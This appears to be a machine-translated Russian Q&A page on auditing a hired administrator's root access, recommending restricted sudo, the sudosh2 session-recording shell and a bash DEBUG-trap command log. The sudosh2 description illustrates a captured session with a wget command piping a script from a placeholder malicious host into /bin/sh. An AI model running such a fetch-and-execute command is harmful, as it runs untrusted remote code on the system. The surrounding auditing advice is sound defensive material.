Назад | Перейти на главную страницу

Регистрировать каждую команду, выполняемую от root

Я хочу предоставить доступ к своему корневому серверу внешнему системному администратору, но я хочу убедиться, что дважды проверил, что он делает с моим сервером, например копирование данных, которых я не хочу, и так далее. Я также хотел бы отслеживать любой файл, к которому осуществляется доступ, даже в режиме только для чтения и без редактирования.

Как я могу это сделать?

Не давайте ему root-доступ. Вместо этого предоставьте ему учетную запись непривилегированного пользователя и попросите, чтобы он выполнял всю свою работу через sudo, который будет регистрировать все его команды.

Имейте в виду, что если у этого человека плохие намерения и вы дадите ему все привилегии sudo, он воля найти способ осуществить эти злые намерения без регистрации этих команд. В этом случае предоставьте ему доступ только к тем командам, которые нужны ему для работы.

Доверяй, но проверяй!

Проверять, выписываться судош2. sudosh2 предоставляется портами FreeBSD. Пакеты доступны для RedHat и Ubuntu. Вот описание с их сайта:

Sudosh - это фильтр оболочки аудита, который может использоваться как оболочка входа в систему. Судош записывает все нажатия клавиш и вывод и может воспроизводить сеанс как на видеомагнитофоне.

Судош позволит вам воспроизвести сеанс пользователя, что позволит вам увидеть весь ввод и вывод таким, каким его видел пользователь. Вы видите все: нажатия клавиш, опечатки, пробелы, что они редактировали в vi, выход wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, и т.д.

Можно отправлять журналы Sudosh в системный журнал, чтобы их можно было хранить на центральном сервере системного журнала вдали от системы.

Обратите внимание, что судош2 - это замена судоша, от которого отказался его автор.

Вы работаете в академическом учреждении, где пользователи настаивают на привилегиях суперпользователя? Или вы работаете в корпорации и хотите разрешить пользователям иметь права суперпользователя на их собственных виртуальных машинах? Это может быть решением для вас.

С судош2 не знаком, но в свой .bashrc для регистрации всех команд, которые я набираю в bash оболочка в файл ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Сказанное выше ставит ловушку на DEBUG, который выполняется непосредственно перед выполнением обычной команды. В caller встроенный используется для проверки того, набирается ли команда в интерактивной оболочке или запускается через что-то вроде .bashrc. Значение ${BASH_COMMAND} содержит команду, которая выполняется в данный момент.